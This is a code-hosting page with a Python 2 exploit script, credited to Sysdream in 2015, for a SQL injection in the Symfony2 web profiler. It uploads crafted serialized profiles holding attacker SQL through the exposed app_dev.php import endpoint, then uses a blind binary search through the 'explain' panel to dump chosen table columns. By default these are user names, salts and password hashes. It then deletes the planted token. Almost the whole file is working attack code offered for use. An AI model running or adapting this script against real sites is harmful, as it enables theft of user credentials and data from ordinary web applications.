-
Notifications
You must be signed in to change notification settings - Fork 4
/
sf2-profiler-sqli.py
262 lines (216 loc) · 7.61 KB
/
sf2-profiler-sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
"""
Symfony2 Profiler SQL code injection exploit
(c) 2015 - Sysdream
Vulnerability discovery: Romain E Silva
@author: Damien Cauquil <d.cauquil@sysdream.com>
@author: Romain E Silva <r.esilva@sysdream.com>
"""
import os
import sys
import re
import requests
import argparse
from StringIO import StringIO
from sfserialize import dumps, loads, phpobject, phpclass
from random import choice
from urlparse import urljoin
class CannotExploit(Exception):
"""
All is said.
"""
def __init__(self):
Exception.__init__(self)
class Context:
"""
This class is used as a global to store target's info.
"""
target = None
table = 'sylius_user'
columns = 'username,salt,password'
template = None
###
# Symfony profiler related routines
###
def get_template():
"""
Fills our context with a valid profile (base64-encoded) if possible.
"""
s = requests.Session()
result = s.get(urljoin(Context.target, './app_dev.php/')).text
if re.search('\/app_dev\.php\/_profiler\/[a-f0-9]{6}', result):
token = re.search('\/app_dev\.php\/_profiler\/([a-f0-9]{6})', result).group(1)
Context.template = s.get(urljoin(
Context.target,
'./app_dev.php/_profiler/export/%s.txt' % (token),
),
verify=False).text
return True
else:
return False
def inject_queries(profile, queries):
"""
Inject queries into the given profile.
@param queries array Array of queries to inject into the target profile.
"""
q = {}
i = 1
for query in queries:
_q = {
'executionMS':'0.001',
'explainable':True,
'params':{},
'types':{},
'sql':query,
}
q[i] = _q
i+=1
profile.__php_vars__['\x00Symfony\\Component\\HttpKernel\\Profiler\\Profile\x00collectors']['db'].__php_vars__['queries']['default'] = q
def change_token(profile):
"""
Generate a new random token name, inject it into the given profile.
@return token string The generated token.
"""
token = ''.join(choice('0123456789abcdef') for i in range(6))
profile.__php_vars__['\x00Symfony\\Component\\HttpKernel\\Profiler\\Profile\x00token'] = token
return token
def upload_queries(server, queries):
"""
Upload queries to the remote server through a crafted profile.
Return the associated token.
"""
# unserialize our template
data = loads(Context.template.decode('base64'), object_hook=phpobject, class_hook=phpclass)
# create new token and inject it into our profile
token = change_token(data)
# inject our queries
inject_queries(data, queries)
# create temp. file in memory
raw = StringIO(dumps(data).encode('base64'))
# upload profile
r = requests.post(urljoin(
Context.target,
'./app_dev.php/_profiler/import'
),files={'file':raw})
# if ok, return the associated token, None otherwise
if r.status_code == 200:
res = token
elif r.status_code == 500:
raise CannotExploit()
else:
res = None
return res
def purge_token(token):
"""
Delete a specific token from the target's database.
"""
requests.get(urljoin(
Context.target,
'./app_dev.php/_profiler/purge?token=%s'%(token)
))
def biject(sql, _min=0, _max=500):
"""
Implement a bijective approach.
This function create the required queries, inject them in a new profile,
upload this profile and try to "explain" them. The result is evaluated and
the condition status determined as in a classic blind-sql injection.
@return int The evaluated number, between _min and _max.
"""
# we generate all the queries we may need
queries = []
for i in range(_min, _max):
queries.append(
"SELECT id from %s WHERE (%s)<%d" % (Context.table, sql, i)
)
# we upload our queries and retrieve the token
token = None
while token is None:
token = upload_queries(
Context.target,
queries
)
if token is not None:
# Once our queries uploaded, we perform our bijection.
while abs(_min - _max)>1:
_mid = (_min + _max)/2
r = requests.get(urljoin(
Context.target,
'./app_dev.php/_profiler/%s?panel=db&page=explain&connection=default&query=%d' % (token, _mid+1)
)).text
if 'Impossible WHERE' in r:
_min = _mid
else:
_max = _mid
return _min
###
# SQL injection string-related routines
###
def _strlen(s):
"""
Get string len.
"""
return biject('length(%s)' % s)
def _string(s):
"""
Get string and displayed to stdout the string while retrieving.
"""
size = _strlen(s)
output = ''
sys.stdout.write('retrieving: ' + ' '*size + '\r')
sys.stdout.flush()
for i in range(size):
car = biject('ascii(substr(%s,%d,1))' % (s,(i+1)), 0, 256)
output += chr(car)
sys.stdout.write('retrieving: '+output + ' '*(size -len(output)) + '\r')
sys.stdout.flush()
sys.stdout.write(' '*(size+12) + '\n')
return output
###
# Main Code
###
if __name__ == '__main__':
# Parse arguments
parser = argparse.ArgumentParser(description='Symfony 2 Profiler SQL injection exploit')
parser.add_argument('--url', dest='url', type=str, help='target URL', required=True)
parser.add_argument('--table', dest='table', help='table to dump', required=True)
parser.add_argument('--columns', dest='columns', type=str, help='columns to dump, coma-separated', required=True)
parser.add_argument('--limit', dest='limit', default=-1, help='Limit to N records (default: all)', type=int)
args = parser.parse_args()
if args.url is not None and args.table is not None and args.columns is not None:
Context.target = args.url
Context.table = args.table
Context.columns = args.columns
# Try to get a template
try:
print '[i] Getting a sample profile from %s' % Context.target
if get_template():
sql = ''
columns = [c.strip().replace('"','').replace("'","") for c in Context.columns.split(',')]
for column in columns:
if len(sql) == 0:
sql = "%s" % column
else:
sql = "concat(concat(%s, ':'), %s)" % (sql, column)
query_template = '(select (%s) as u from (select %s from %s) as t limit %%d,1)' % (
sql,
','.join(columns),
Context.table,
)
# Start enumeration
if args.limit <= 0:
print '[i] Counting records ...'
nb_records = biject('(select count(*) from %s)' % Context.table, 0, 1000)
print '[i] Table has (at least) %d records' % nb_records
else:
nb_records = args.limit
for i in range(nb_records):
values = _string(query_template % i).split(':')
print '--[ Record %d ] -----------------------' % i
for column,value in zip(columns, values):
print ' %s: %s' % (column, value)
print '---------------------------------------'
else:
print '[!] Cannot export profile. Check target.'
except requests.exceptions.RequestException, e:
print '[!] An unknown error occured.'
except CannotExploit, e:
print '[!] Cannot exploit.'